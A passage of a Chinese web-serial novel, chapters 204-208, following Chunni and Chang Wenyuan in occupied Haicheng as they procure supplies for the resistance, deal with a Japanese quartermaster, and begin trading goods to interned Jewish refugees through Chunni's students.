刚住进来那会儿,彼此又都在互相适应对方这个新室友,常文远不好意思提让春妮掌厨的话。直到春妮自岛上回来的当天晚上,常文远从店里拿了一块说是剩下的筒子骨,让春妮煲汤补身子。他说的是厨房剩下的骨头,其实肉质很新鲜,春妮拿骨头跟白萝卜和雪梨一起炖成一锅清甜的止咳润肺汤,自然要邀请常文远一道吃。这一锅好汤下肚,每天搭伙吃饭这事便成了定局。 到底是正长身体的年纪,这段时间,即使只吃这些边边角角的下脚料,春妮也觉得腰身紧了不少,做起事来不再像以前那样,总是容易饿。 她有时候也对两人的关系心存疑惑,那个不一样的早晨,难道只给他们俩带来了伙食上的改变?两人由室友变成了饭搭子? “你看我做什么?”某人察觉到春妮的视线,转头看了过来。 时光帮这个曾经暴燥冲动的年轻人打磨成了另外一副模样,他不再三句话一说,便热血上头,去跟人打生打死,他眉眼依然暗藏锋锐,却知道了怎样隐藏,他说话的音调和语速也降下来,嘴角时时含着温吞的笑意,显得那样温和真诚,是个绝好打交道的生意人。然而仔细看去,他嘴角的那丝笑容,又仿佛是一切尽在指掌间的自信。 眼前的男人正处在最好的年纪,有着最好的风仪,简直举手投足间都在散发着该死的魅力。 春妮暗啐一口,不自然地转过脸,瞥到厨房的炉子上,站起来:“锅里水开了,我去看看。” 常文远望着她的背影,唇角又往上提了提:才刚成年的小姑娘,不能太着急了啊。 今天晚上,常文远拿回来一只鲢鱼头,春妮特地去市场买了块嫩豆腐,现在鱼汤熬到奶白色,下完豆腐再炖煮几分钟,出锅前撒上葱花,一砂锅让人馋涎欲滴的鱼头豆腐汤便热气腾腾地被端上了桌,客厅内外,飘满了鱼汤的味道。 一盅暖洋洋的汤品下肚,两个人都不自觉露出了一模一样的,满足的笑意。 辛苦一天为的是什么?不就是在这样一个温暖的小屋里喝一盅温暖的好汤? 可惜这样的日子,在海城,乃至全华国都太少太少了。 略坐了坐,常文远像往常一样,主动去收拾了碗筷。在他收拾的时候,春妮已经换好了衣服,两人对视一眼,同时道:“走吧。” 喝完好汤,干活的时间也到了。 第205章 205 明天 人类越感到痛苦, 时间便会过得越慢。 幸好生活再苦,也会偶尔多一点甜头。 夏生来信没过多久,春妮收到消息, 王阿进熬过了十一月份, 伤势已在渐渐转好。可惜毛二娃的那位伍长朋友胆子不大,不管他们许再多好处,也不敢放他走。只说这是宪兵队送来的人,万一有人回头问起来,他不好交代,将他硬是扣在了碉堡中。 好歹人救了回来,其他的事, 只能慢慢再谋。 晚上回家,先来一碗汤慰籍肠胃, 再出门吞风迎浪,逐渐成为了春妮和常文远的新习惯。 日子一点一点往前捱,到了十二月下旬,元旦新年将近的某一天夜晚。 往年的这个时候, 从圣诞节开始,租界的百货商店, 舞厅游乐场早早就开始各出奇招,或是悬挂霓虹灯箱,或是请歌星戏伶暖场, 开始了新年庆祝活动的预热。现在,因为宵禁的施行, 这项活动已经停办了两年。倒是倭国人商店有时会有些活动,可那边一般没什么人去买。 春妮对这些洋节观感一般,想起一个月后又是春节, 不觉叹了口气。 去年最后的那几个月,倭国人到处在抓人杀人,爆豆子一样的枪声几乎每天都在响,硝烟味几乎没有散去过。很多人一听见类似的声音,头一个反应便是立刻扎下脑袋,赶紧找个地方躲起来。或许正是这个原因,喜欢热闹,重视传统,热爱春节远胜于圣诞节的海城人在去年的春节,几乎听不到放鞭炮的声音。 那些代表着欢乐喜庆的炮竹声实在太像是枪炮的轰鸣声,别说是其他人,就是春妮,她走在这漆黑的街道上,骤然听见耳边嘭嘭的响声,心里马上就是一个咯噔。 她和常文远同时猫下腰,后者臂膀轻舒,将她挡在身后,自己探头往外看去。 “怎么了?” 常文远握住春妮的手,一步一步往后退,直到退出这一条巷道,将身形彻底隐入阴影,才吐出一口浊气:“那些宪兵又在秘密处决犯人了。” 春妮沉默下来,深更半夜,能让倭国人秘密处死的犯人,还会是什么人? 她想起年初被倭国人关进集中营的那些前租界高层和外国公使们,没有了这些人的掣肘,海城已经变得越来越危险了。 一双手捂住她的耳朵:“别听了,我们走吧。” 春妮拨下他的手,站直身体,向着枪响的方向深深鞠了一个躬。 “走吧。” 两人同行一段路,到了原先英租界一处花园洋房,这里是他们分头行动的地点,春妮破天荒多说了一句话:“小心点!” 带着淡淡烟草味的身体覆过来,春妮被罩在他宽大的身影下:“我知道,你也是。” 两双手重重相握,又迅速分开错肩而过。春妮站在原地,凝望着他的身影,掏出了手|枪,开始为他警戒。 今晚,常文远要来见一位住在这里的王姓大商人,倭国人攻占租界之后,此人是头一批投效倭国人,献出产业股份,求取庇护的华国商人之一。 他们物资组常年需要为大本营采购大宗商品,寻找可靠且立场可以争取的商人合作,也是他们的职责所在。正因如此,常文远的餐馆,即使赔钱也要做下去。进得起高档餐馆的人,是他们第一个筛选的目标。 但是原本像宅子里主人这样的人物,是不可能在常文远合作范围中的。 这个人投靠倭国人后,钻营成了倭军军需物资供应商,根据可靠消息,他手上有旁人拿不到的望远镜,雷|管等大量包括他们自己在内,和大本营迫切需要的军用管制物资。 常文远知道,倭国人采购军需物资出手并不大方,特别是对这些华国商人,盘剥得非常厉害。这人曾经很多次私底下骂过倭国人贪得无厌,对其并不像面上表现的那样恭顺。 两边不是一条心,那就有工作可以做。 在今天之前,常文远已经跟这人接触过两三回,知道这人要钱不要命,只要有钱,不管什么东西,只要他有,这人也不问去向,这人都肯卖。 常文远已经从他手里拿到过一批雷|管,然而像望远镜这样的特种精密仪器,每一箱进港都会登记在册,甚至可以通过机身上印制的编码追溯到它的生产车间和将它生产出来的工人。 姓王的胆子再大,之前也不敢将这样的东西往外卖,要不是他最近急需一大笔钱,常文远也不会冒险来接触这人。通过购买雷|管,钢管这种不太会引起人注意的东西建立起双方的第一步交情,其后他再提出要购买望远镜。姓王的没马上答应,只跟他约在今天晚上见面。 春妮抬腕看了下表,常文远进去了十分钟。 这时,两束远光灯从幽暗的街道另一头照过来。 春妮视力极好,只借这一点光,便看清楚了,那两束远光灯属于一辆倭国军用吉普车! 姓王的不老实,故意给他们设了套? 春妮心中先是一惊,很快想起来,进屋之前,他们已经将这附近先清查了一遍,这里并没有人事先埋伏。再看那吉普车,车速并不快,就算位置都坐满,也最多只有五个人,不像是抓人的配置。 而车里的人—— 她凝目望去,撮起嘴唇,学了几声猫叫。 洋楼内,常文远听见那几声猫叫,脸色顿时一变,抓起对面人的衣领挡到面前:“有人来了,是不是你叫了人来抓我?” 交易已经进行到最后时刻,钱和货摆了一地,正是大家精神最紧张的时刻,常文远突然动作,让周围人猝不及防,纷纷拔|枪怒喝。 王姓商人的惊慌不似作假:“什么有人来了?这个时候,有谁会到这来?” 不等常文远说话,院子里有人敲门进来通报:“老爷,军部的近藤老爷来了。” 王老爷大惊:“近藤老爷,他怎么会来?”急急问道:“你没看错,真是近藤老爷?” 报信的仆欧没来得及答话,院外军靴的脚步声由远及近:“你们家老爷睡了?那为什么客厅还亮着灯?” 片刻功夫,王老爷出了一头冷汗,同常文远央求道:“段先生,你先把我放下来,咱们稍后再好好说话。近藤老爷是军部大本营物资二课的课长,要是让他看到这一地的东西,我就完了,他真不是我叫来的啊。” 常文远见他不似作伪,手下松了松:“这人真不是你叫来的?” 刚刚春妮的那几声猫叫已经透露了很多信息,是以他收到之后,并没有马上撤退,而是打算先看看情况再说。 这时,近藤已经到了门厅外,开始敲门:“王老爷,请开一下门。” 王老爷脖子被扼着,声音里带出了哭腔:“这些都是军部的违禁品,你就是给我十个胆子,我也不敢让近藤看到它们啊。段先生,算我老王求你了好不好?咱们的事先放一放,让我把外面的那个应付过去,我老王感激不尽。” 脖子上那只死亡之手终于挪开了。 王老爷来不及松气,示意几个保镖将武器收起来,东西先藏起来,赶紧先去开了门。 门外的近藤已经很不耐烦了,置疑道:“门里明明有声音,为什么没有人来开门?” 门房正不知如何应答,正好门打开了,王老爷站在门里热情地笑:“近藤先生,这么晚了,您是有什么事吗?” 近藤的确有事,并没有注意到王老爷略有夸张的态度。进门之后也只稍稍诧异了一下,客厅里怎么有这么多人,便对王老爷点了个头,熟门熟路地穿过沙发,要往楼梯上走:“跟我上来。” 王老爷在他身后跟着,神色是几乎控制不住的无措。 原本交易用的箱子就搁在矮几旁边验看,刚刚情急之下被几人踢开,现在半敞开,就横在沙发背后,近藤只要绕过沙发背,在楼梯口用余光扫一眼,便极有可能看到它! 现在怎么办?! 王老爷眼睁睁看着近藤走到最后一组沙发前面,只差一步便能够看到箱子,这时,只见那个与他交易的“段先生”跨步向前,笑着拦住了近藤的去路:“表哥,你不跟我介绍介绍这位近藤先生吗?” 近藤不得不停下来:“王老爷?” 王 老爷能巴结到倭国军部,便不是个蠢人,闻言忙道:“这是我的一位表兄,是吃……吃,吃水上饭的,姓段。” “哦?段先生是跑船的?都做些什么生意?”近藤被拦住去路,原本很不耐烦,听见王老爷随口胡的话,却是眼睛一亮。 “主要是给人运货,偶尔做些小生意。”常文远此次来见王老爷,自然不是用的自己的真面目。他留着一脸的短髭,露出来的皮肤呈古铜色,的确很像在船上风吹雨淋的船工。 近藤先生更感兴趣了,他甚至侧身往回走,在沙发上坐下:“哦?段先生有几条船,一般运些什么?” 常文远看了一眼王老爷,不动声色道:“小本生意,只有几条破小火轮。” 这个年代将行驶在内河中的蒸汽船叫小火轮,在大部分货船都是木制人力帆船的情况下,既然有蒸汽船,那生意就绝小不了! 近藤道:“我最近正好有一笔生意要做,不知道段先生有没有兴趣?” “什么生意?” 近藤的声音忽然压得很低:“那我就要先问问,段先生敢不敢做了。” ………… 寒鸦在枝头上凄叫着,春妮蹲在阴影处,再次抬腕看了看表:一个多钟头了,常文远还没出—— 对面的大门打开,里面人寒喧送客:“近藤先生请慢走。”之前她见到的那辆吉普车很快离开了。 春妮站起来,目送着那辆车离去,松了口气。 尽管示警时看见那车里只有一个人,她判断出对方应该不是来抓人,但没看见车里人离开,她始终无法真正放心。 也不知道里面发生了什么事? 春妮盯着大门再次打开,这一次,里面终于走出了她熟悉的人。 两人都没有第一时间汇合,而是一前一后走出很远的距离,常文远才放慢脚步,让春妮跟了上来。 他知道春妮想问什么,将之前的情况说了,忍不住笑道:“这次真是无心插柳。那个近藤似乎出了什么财务危机,居然把主意打到了倭国人的军需用品上。” “他想卖自家人的军需?要卖什么?枪还是炮?” 常文远失笑:“怎么可能?倭国人这方面管理很严格。这次他只是想出手一些士兵的夏季常服,这种物件是常用消耗,偷偷卖一些不会惹人注意的。即使事发,责任也不大。他本来想让姓王的买下来,但叫我撞上,便宜了我。” 春妮有些失望:“就这些?现在这个季节,咱们也不需要这种东西吧。这个近藤明明就是想找个接盘侠坑人。” “坑就坑了吧。这个近藤,可是管理着整个海城地区近一半的倭国人军需仓库,咱们的目光得放长远一些。” “难道说,你还想跟近藤建立长远的合作关系?”春妮吃惊道。 “有何不妥?” “当然不妥!你也说了,近藤可是倭国后勤要人,他跟姓王的这种墙头草可不一样。你不怕与虎谋皮?” 常文远停了下来,他的目光沉滞:“可我们哪一天不是在刀尖上行走,与狼共舞?” “那怎么一样……”以前他们隐在市井之中,现在可是要直接跟倭国人,还是倭国的物资核心人物打交道。对方必然会比之前的人加起来还狡猾难缠,危险程度跟以前怎么比得? “你不用劝我,我比你更明白里面的危险。双城方面撕毁合作协议之后,被两方封锁,大本营处境必然会加倍艰难,海城是现在华国唯一对外的窗口。我们得抓住机会,不惜一切代价为大本营弄到尽可能多的物资。” 常文远说的消息,两天前已经传遍了整个海城的地下团体。倭国人入侵之后,原本政见不一的大本营和双城政府只能联合起来抗倭,然而胜利之光尚未看到,双城政府突然翻脸,在几天前出兵袭击了大本营位于东海省的一处营地,使得合作再次破裂。 无言的沉默中,两人总算走到了终点。 “先进屋去吧,”常文远握了握她的手,又很快放开:“好好睡一觉。有什么事,等明天再说。” 明天…… “真希望明天快点来。” “会的,一定会很快的。” 第206章 206 敌侨 海城沦陷第三年, 春节裹在纷飞的大雪中,静悄悄的过去了。 新年伊始,呵气成冰。 报纸上说, 这一年是海城十年未见的寒冬。 春妮费了些力气, 将被冰壳冻住的铁栅门从里头掰开,推出自行车转身招呼常文远:“快点出来。” 拉毛围墙外几个嘴唇紫黑的乞丐围上来:“好小姐,给点吃的吧。”个个盯着她车后的袋子,两眼几乎放出渴望的绿光。那两只鼓囊囊的袋子,一看就知道放的是粮食。 春妮背过身,稍微挡住绑在后座的东西,戒备地盯住那几个蠢蠢欲动的乞丐, 并不答话。以前他们偶尔会给附近的乞丐一些剩汤,自从上个月家里闯进贼, 丢了一些食物和贵重物品之后,他们两个便很少在家附近施舍食物了。 乞丐们越围越紧,春妮暗暗戒备,常文远很快从门内骑车冲出来, 车子一个急刹,横在她面前:“快锁好门。” 直到骑出巷子, 跑出数百米开外的大街上,春妮两个才略略松下一口气,放慢了速度。常文远说:“附近的乞丐越来越多了, 以后再运粮食出门,记得多叫些人来。” 昨晚春妮从黑市弄了些粮食, 打算今天起得早些,趁街上没几个人,把粮食送去给几个快要断顿的学生, 还是险些让那些日夜守在家门口的乞丐堵住了。 “嗯,你不嫌吵的话,我下学了多叫几个学生来家里。” 常文远用力蹬了一下脚踏:“要是汽车能上路,也不至于这么麻烦。” 他原先有一部车,但倭国人只在全市发了六十张车牌,他一个餐馆老板,车牌怎么都轮不上他。如今那辆车放在车库里,车身上积的灰都有了半指厚。两人平时运送物资,也只能用这两辆自行车来回倒腾。 马路上没有了熟悉的鸣笛声,驼货的骡马牛车却多了起来。街上的畜牲一多,什么驴粪牛粪也多了起来,堆在街上东一坨西一坨的,冬天还好说,一到夏天,简直臭气熏天。闹得家家怨声载道,都说卫生局每月的摊派不少,收的费用也不知道花销到了哪去。 两人头上生风,骑了一个多钟头,总算到了地方。 这里是法租界的一处高级公寓,里头原先只供外国人和少数有钱人租住,高傲得很。要不是那年倭国人突然向全世界宣战,吓得那些外国人和有钱人纷纷找门路外逃,春妮抢到一套作为学校的房产当后手用,这里的房子,她这辈子未必沾得上手。 幸好她下手早,现在整个海城,也就只有这一小片地方,倭国人顾忌德国的盟友身份,不怎么留难已经投降的法国地盘。 门口的红头巾印度门卫看见她,竟破天荒迎上来,用蹩脚的中文问:“需要帮忙吗?女士。” 春妮肩上扛着两袋大米,跟金条似的招人眼,难得这平日里眼睛长在头顶上的家伙也改换了态度。 这三四年来,住在里面的外国人许多都搬离了此处公寓。有看 情势不妙,早早跟着自家使领馆跑回自己国家的,也有法德之外的其他国民没来得及跑出去,被倭国人驱赶着,以“敌侨”为由,全部关进闸口路偏东,昌平路那条路的洋房小区被看管了起来,这里头的人,也包括以前租界的工部局董事福纳和他的管家纳尔逊。 此前纳尔逊因为参加了一个英国秘密对抗倭国人的组织,春妮一度担心他落在了倭国人手里,早就被秘密处决,后来辗转有消息流传出来,她才知道对方已经被这样软禁了好几年。 说软禁也不算软禁,春妮听说,那一带被围起来的地区有个名字,叫敌国侨民集团生活所。那里面有工厂有市集,除了所有人都被集中看管起来。外国侨民们想吃想喝,要么去工厂里做活换取食物,要么开垦菜地,给生活所铺路,靠做艰苦的体力劳动来换食物。 工厂也不是什么高精尖大厂,都是些被服厂,纸盒厂这样需要大量低级重复劳动,又不具备威胁的小厂子。 以前那些高高在上,不可一世的外国人,如今像他们的华国仆人那样必须靠基础劳力换取生活必须品,还有不少人暗地里拍手称快。 纳尔逊的消息这么久才传到春妮耳中,也是海城人对这些人的事情没那么关心。 随口应付完这红头巾,两人走过略有空旷的大厅,进入铁栅子做的电梯,直升到九楼。 楼道上东一块西一块丢着纸壳,不知有多久没人打扫。公寓楼住客们来来去去,长的三五个月,短的不到一星期就更换一茬,春妮保持着两三天来一次的频率,竟成了老客。 常文远将纸壳踢到一边,这声音惊动了人,其中一间公寓的门打开一条缝,很快有人欢呼跑出来:“顾老师,你们怎么来了?带着这些东西,这一路不太平吧。” “这阵子全城都缺炭,正好昨天我弄到了一些,就给你们送了来。”常文远拍拍肩上的炭灰,答道。 他以前请学校收留的大学同学都因各种原因离开了学校,除了韩师父可能对他有些印象,这里的学生原本都不认识他,这段时间他时常跟春妮结伴前来,又帮学校解决了不少场地问题,学生们又跟他重新熟络起来。 “怎么又送了米过来?我们不是说过,过年我们买了不少好吃的,不用送了吗?” 春妮笑笑没答话,这几个学生不上课时,跟以前一样在街上找零活干。但他们能找到什么活?不过还做擦鞋匠和卖报童,所赚的那点钱,可能就够买一两个窝窝头。 学生们不让两个大人插手,七手八脚将他们俩带来的东西朝屋里搬,听春妮问:“都没出去吧?” “没有,韩师父在教我们描画。” 春妮买的房子在电梯左手边第二间,两室一厅,带抽水马桶和开放式厨房,在这个时候是极时髦精致的装潢。如今玄关处挤放了一个两层床铺,客厅里也有四个床铺排在一起,横成两列,上下两层共睡了二十来个学生,原先的沙发上堆叠着公寓配送的桌椅柜子等杂物,几乎无处下脚。 春妮侧身走过大通铺旁的通道,阳台改造成的工作间里,果然围了不少学生,韩师父和学校另一个姓姜的化学老师在最中间,一个用玻璃棒在烧杯里不停搅拌着一杯蓝色液体,另一个则伏身在不到半米长的工作台上,拿一根不足半厘米宽的雕刀在木板上专心雕琢着什么。旁边的学生们有的在刻木头,有的则跟化学老师一样,似乎在调制油墨,更多的,则是凝神在韩师父手上,观看他的手法。 韩师父又在琢磨改进彩印的事了。 学校被查封得匆忙,除了油印机之外,印刷厂的其他设备没能抢出来。韩师父和以前几个在印刷厂工作过的老师们一起,在这间小公寓安家后,便拉了条电线,将这处不足三个平方的小空间改造成了一个工作室。如今地方太小,铺不开印刷设备,他们便将重心放在了培养学生的手工水准和彩色油墨的固色研究上。 据说很取得了一些进展,但春妮杂事太多,无暇关注此事,也不太清楚他们具体到了哪一步。 几人围观片刻,他们始终没有发现房间里多了两个人,为了不打扰他们,他们悄悄从房里退了出来,跟跟出来的蒋四成交代:“炭盆就放在阳台上,旁边不能有杂物。一定指派专门人看管,晚上睡觉前记得把它灭掉。” 早在倭国人进入租界之前,以前春妮的不少学生目睹倭人欺凌国人,要么通过季老师的渠道去内地,要么有跟涂铁柱相熟的,去上山投了他。李德三也留在了双城,学校工厂办不下去之后,他跟尹校长两人专心将精力投入到办校中,如今听说学校培养出来的前几批学生,有的已经进入双城的工厂成为了中流砥柱。反而是这个男孩子从她在学校门口的小摊子跟起,跟在她身边足有六七年,如今已是学校不可或缺的一员。 他跟春妮一样,是少有对局势抱有乐观的海城人。 “顾老师,你那里有没有中三的课程?” 春妮惊讶:“你已经自学到中三了?” “对,我手头只有一本中三国语书,你有没有其他教材?” “我回去给你找找吧。”春妮不由叹息:“可惜现在全市没几所中学开学,你在这里完全是耽误了。” 海城原先还在开学的几所中学,除了有倭国□□教倭语的那几所,其他学校在这几年里都关得差不多了。有的像他们的学校一样,给倭国人占去做了兵营,有的用于关押敌侨,劳工和俘虏,还有的更是早早被炸成了废墟。 整个海城之大,找不到一间能好好读书的学校。 春妮知道他的志向,这孩子一直想上大学。可他现在的情况是,即使读完了中三,整个海城也找不到统考招生的高等学府。 因为,从去年底开始,海城最后一所战时大学已经宣布无限期停课了。 春妮想过让他去内地找机会,可他家里父母双亡,几个弟妹都要靠他养,实在没法抛下家庭一走了之。 蒋四成一如既往地乐观:“先读着再说,总会有办法的。你等会儿是要去闸口路米妮家吗?” 春妮点点头,看他从兜里掏出一包糖:“家里过年熬的麦芽糖没吃完,米妮一向喜欢吃糖,这个就给她吧。” 春妮没拒绝他。 也是在去年下半年,倭国人突然封锁了闸口路等犹太人聚居区,不许人进出。 包括米妮和她外祖父普尔南都像之前纳尔逊一样,被认定为敌侨关在了街区里面,春妮已经很久没见过她。 她这些日子一有空就在找机会往那跑,想办法跟这祖孙二人的联系。在学生中,这不是什么秘密。 第207章 207 财路 从法租界的公寓出来后, 正如蒋四成的猜测,春妮和常文远在街口分开,单独去了趟闸口路, 但她还是没能见到普尔南和米妮祖孙两个。 那条往日再熟悉不过的街道变得有些许陌生, 它的街口被安上一个大铁门,新挂上了个牌子,叫“无国籍难民安置所”,所有来历不明的海城外国人几乎都被关在了里面。这些人中除了白俄人之外,以犹太人为最多。 普尔南祖孙二人自从在吉拉太太楼上的房间安家,直到格林先生父子离开,就一直没搬过家。而吉拉太太就住在邻近街口的第二栋房子里, 他们住得离街口这样近,在以前是很便利, 但现在倭国人将街道出口用铁门焊死,常年在街口头尾驻守军人巡视,有个风吹草动的便拿枪托砸门,还不如住在里弄里边, 少担惊受怕一些。 这次春妮运气仍然像之前几回那样不好,远远地, 她看见两个穿军大衣的倭国兵在巷口来回踱步,只能摸摸焐在身上,已经变冷的馒头转身离开。 算算时间, 她已经有一个多月没能见到米妮。想到格林先生临走前的托付,春妮不得不在两天后的宵禁 过后冒险再去了一次闸口路。 这会子天寒, 白天几个巡逻的倭国兵不知道躲去了哪取暖。一整个街区都黑洞洞的,春妮只能压低声音,从第一层开始, 一个个喊名字:“吉拉太太,吉拉先生,约瑟夫,……普尔南,米妮——谁?” 临街的窗户打开一条缝,一粒弹珠擦过春妮鼻子,叮叮当当跳进下水道里。 “顾小姐,是不是你在下面?” 听这怪腔怪调的华语,春妮就知道,这是跟她做了两年邻居,同样是犹太人,之前在临街的楼下开理发店的贝格先生。 “贝格先生,请你帮我叫一下普尔南,好吗?”春妮忙问。 贝格的声音有些迟疑:“这个……倭国人不许我们随意走动,恐怕不行。” 春妮暗骂一声,贝格跟普尔南他们一样,同样住在二楼,两边晒台正对,几乎可以翻墙而入。他只需要像刚才那样,投几粒石子到对方的窗户上,环境这样寂静,不相信对方会听不见。 她想了想,说道:“我带了些食物,您帮我叫他过来,我会分给您一些。” 贝格都没打磕巴,立刻问道:“你能给我多少?” 春妮跟这些人交道打多了,明白他们的套路,为难道:“我只带了几个馒头,可以给你一个。” “不行,太少了。”他精明地讨价还价:“我这里住的人可不少,我需要冒很大的风险。” 跟这种唯利是图的家伙打交道真是不愉快。 经过一番讨价还价,春妮最终花费一个半馒头的代价换来了贝格先生的帮忙。 如愿看到普尔南老先生标志性的大胡子出现在贝格家二楼的窗台前,听见他沉稳地向自己报平安的声音,春妮这一口从旧年提到新年的气才算真正松了下来。 普尔南说,附近三条街道的犹太人都被集中在了这一条街上居住。因为房间有限,几乎所有房间都被摆上了上下两层的架子床,男客一间,女客一间。米妮不得不跟外祖父分开,同吉拉太太挤在一张架子床上,住到了女客那边。 倭国人将人集中看管起来,原本就不可能给他们多好的待遇。他说的这些事,春妮也听说过。普尔南又说,倭国人收走封堵了灶火等物,只留下几个灶眼,所有物资一律配发,不许人私自开伙烹饪。 倭国人这么做可能是为了防止他们制造危险物品,或是害怕人员密集引发火灾。之前他们关押敌侨就这么干过,春妮早有防备,所以她今天带来的都是馒头,卤肉这类不需要再次加工的冷食。 普尔南又说,灶眼太少,他们不得不排队使用灶具,因为用灶的人太多,每个人每天最多只能吃上一顿热饭。米妮的身体原本就很弱,被关起来之后,已经因为吃冷餐食生过了两场病。 唯一的好消息是,今年冬天太冷,社区不少人生病。倭国人答应他们,可以在院子里烧炭取暖,这是他们唯一能够接触到的热源。 春妮听明白了,米妮现在急需吃到热饭热菜。 她想了想,问普尔南:“你们那现在有没有洋火桶?” 所谓的洋火桶,就是拿洋铁皮做的铁桶,也叫铁桶炉子。跟一般铁桶的区别是,它的桶底是加厚的,靠近底部会留一个风门,风门里边拿隔火的铁网支起来供底部空气流通,这种简易的桶子里可以搁木柴和炭火。架一只铝陶锅,煮饭热粥取暖什么都能做。主要是提到哪用到哪,又轻便又小巧,最适合居住空间不足的海城人。 “都收走了。”普尔南果然道。 “那我明天给你带一只过来。”春妮寻思,恐怕光带洋火桶不顶事,少不得木炭煤球也得给他们匀一些过来。还有…… “也给我带一只吧。”半天没作声的贝格突然插嘴。 给普尔南带东西,春妮没话说,但旁人的话—— 春妮翻了翻眼睛:“贝格先生,现在的洋火桶可不好找。” “顾小姐,你说笑话不好,”贝格颠三倒四的,努力讨好她:“善良的小姐,你知道的,我家里有三个孩子,最小的弗里伯格,你还亲手抱过他。他刚刚断奶,我们需要给他喂煮烂的面条,这里吃不到。真的,好小姐,帮帮我们吧。” 这回,那个讨价还价的人变成了春妮:“洋火桶太大了,我带过来很麻烦,会有危险的。” “你刚刚跟普尔南不是这么说的。” 春妮不想跟他多纠缠,转向普尔南:“老普,你跟他说吧。”她将带来的东西系上贝格吊下来的钩子,看两个高鼻子在窗口小声拿外国话争论。 争论在馒头握到手上出了结果,普尔南转向春妮:“贝格家的确很需要它,密斯顾,如果你可以做到,帮个忙吧。” 春妮作出沉吟的表情:“一只洋火桶可不便宜。” “我可以付钱!” “你打算付多少?” “……” 春妮也没料到,她只是去日行一善,却给自己拉来了好几笔生意。 这些外族人不愧他们精明会做生意的人设,首先是贝格,见洋火桶有门,竟一口气问春妮要了五只。要不是春妮不同意,他只怕还能再要个几十只。 他要这么多自然是为了倒卖,春妮不用问就知道,现在取暖做饭设备定然在社区里是最难找到,也会是最畅销的商品,如果能跟春妮做成这一笔生意,他半个月不开张都没问题。反正风险全在春妮身上,他只需要半夜偷开一扇窗,什么都妥了。 在商言商,春妮跟他约定好要带的东西和大概的价钱范围,趁那几个倭国兵没发现,赶紧先离开了。 夜里回去,常文远仍然跟以前一样,在客厅的落地台灯前看书等她。今晚他另外有事,春妮便没让他跟去。 等的次数多了,春妮劝不住,只能随他去。也慢慢习惯了,每每回家,总是有一盏灯亮着,有人在等她。 常文远看她今晚神色不一般,问道:“见到人了?” “见到了。”想想能赚笔小钱,春妮也是开心的,笑着跟他说了今天的经历。 常文远也来了兴致:“不错啊,以后我们也可以跟这些犹太人做生意,说不定是条财路。你再想法子多问几个人,看有没有别人需要其他物资的。” “他们?都被圈在一条街上出不来,他们能有什么财让我发?”春妮伸了个懒腰:“我啊,就当是做慈善了。” “那你可小瞧这些人了。”常文远意味不明地笑了笑:“别光把眼睛放在贝格,吉拉这些人的身上。他们中的有些人,打从前朝起就到了海城做生意,在本地的根基,一般人,一般帮会都比不上。要是能找到这些人,跟他们交易,说不定学校的经费你都不用愁了。” 办学校是个无底洞,常文远虽然不知道春妮还有多少家底,但看她这些日子有空没空地又在找门路赚钱,就知道她必然财政遇到了大问题。 “哪有那么容易,你说的都是巨富豪商。他们在不在闸口路关押都两说,就算那真有大富豪被关着,除非我去绑票,否则现在这种光景,人家死死藏钱都来不及,怎么可能让我三言两语地,就拿了出来招摇?我先把眼前的事办好吧。” 春妮跳过“经费”这个容易心梗的话题,不过常文远的话也给她提了个醒。 闸口路位于英日租界的交界区,租金一点也不便宜,至少普通华国人是租不起的,这些外族人却能安稳地占住这条街,将它发展到今时今日的规模。而这条街区的难民都是万里迢迢地从异国而来,没有点家底和支持,根本无法在这里安家。 贝格之前呲牙咧嘴地跟她叫穷卖惨,必然是商人惯用手段。他要是真穷,也不会眼也不眨就想垄断跟她的洋火桶生意。而且他们世代经商,即使在海城这样的战区,顶着空袭的风险,支起摊子做生意都不是什么稀奇事。 像贝格这样的人只用在被关的这三万人中占三成,这条财路就大有可为了! 春妮越想越兴奋,她洗完澡睡不着,索性坐在床头,将贝格几人跟她的交易物品写在本子上,钢笔在“洋火桶”三字上划了个圈—— 这个东西可不好找,因为做它的材料洋铁皮早在海城失陷起,这些较容易得到的紧俏物资就让疯狂囤货的海城人给买空过一回。其后倭国人全面占领海城,洋铁皮更是跟煤炭粮食一样被全部管制,只有极少一部分会流通到市场上,交给他们本国人商店售卖。 她想认真经营,要么先找到足够的材料做新桶,要么找到大批的二手货倒卖。 第208章 208 兑换 作为拥有空间的女人, 虽然它这些年的存在感低到读者可能都忘了这个宝物,但只要她愿意,春妮分分钟就能凭此跃升为海城乃至全华国走私界的大佬。 可惜原本春妮的空间在倭国人占领租界之前塞满了各种囤积的物资, 在工厂学校相继关停, 方校长也被抓去坐牢,学校失去了最后的经济来源后,她不得不动用空间里的储备顶上。 春妮满打满算,这些东西少说能撑个五到八年,结果三年不到,她原先积累得手插不进的空间已经空了一半。 这些空下来的地方给贝格他们偷运点东西自然是绰绰有余。 不过,有了做长期生意的计划后, 春妮便不打算再这么做。靠她一个人,做不了这么多人的生意不说, 她的重心始终还在学校,这里的事迟早要选几个信得过的学生或教职工接手。 既然这样,春妮干脆从一开始就让他们参与进来。 她让蒋四成跟以前一样,组织了几个表现突出会来事的学生分几组撒出去, 其中一半人去城里收旧货的铺子淘换,另一半则负责打听哪里有卖洋铁皮的地方。 这些学生们成天在街上混, 区区五只洋铁皮桶子,不到半天就搜刮齐全,还多弄来两只, 超额完成了任务。 不止如此,那天晚上, 春妮除开跟贝格做了洋火桶的生意,与贝格同室而居的其他人听见之后,也纷纷请求春妮帮他们带东西。有要带牙粉皂具的, 有要带小吃糕点的,还有带衣服带被褥和药品…… 一只羊是赶,一群羊也是赶,春妮通通答应了下来。 他们要的东西中,除了药品紧俏不好买,其他的也被学生们一样不落地采购了回来。不过药品也好解决,春妮空间里,除了粮食和煤炭,最多的就是各类常规药品,有囤得最早的,可以追溯到她在港城的那段时间。贝格他们要的药中,她这里全都有。 凑够这些杂七杂八的东西,下午下学后,学生们找来辆独轮车,拿块粗布往上一盖,轮流推着车去了闸口路。 学生们自然不可能大白天的去硬闯有士兵把守的铁栅子门。 但不用春妮操心,他们自己想出了运送这些物资的办法。 学校以前就在闸口路后边的码头仓库附近,招收的也多是住在附近的学生,他们带着东西先放进了一个同学家里。 春妮这个叫刘光汉的学生家正好在紧挨着闸口路旁边的一个里弄中,白天,学生们打算去他家藏好东西,等晚上到了夜深跟贝格约定的时间,直接摸到现场跟那些人交易。 因为心存锻炼学生的意思,春妮跟在车旁,含笑听那些学生们讨论行动的细节,并不多话。 头两次肯定得跟着去看看,等学生们路熟之后,春妮打算彻底放开手让他们自己干。 这些在侵略者统治下的学生们很早就学会了在夹缝中生存,只需要给他们一个机会,不用春妮多留心,他们自己就会想尽办法抓到手里。 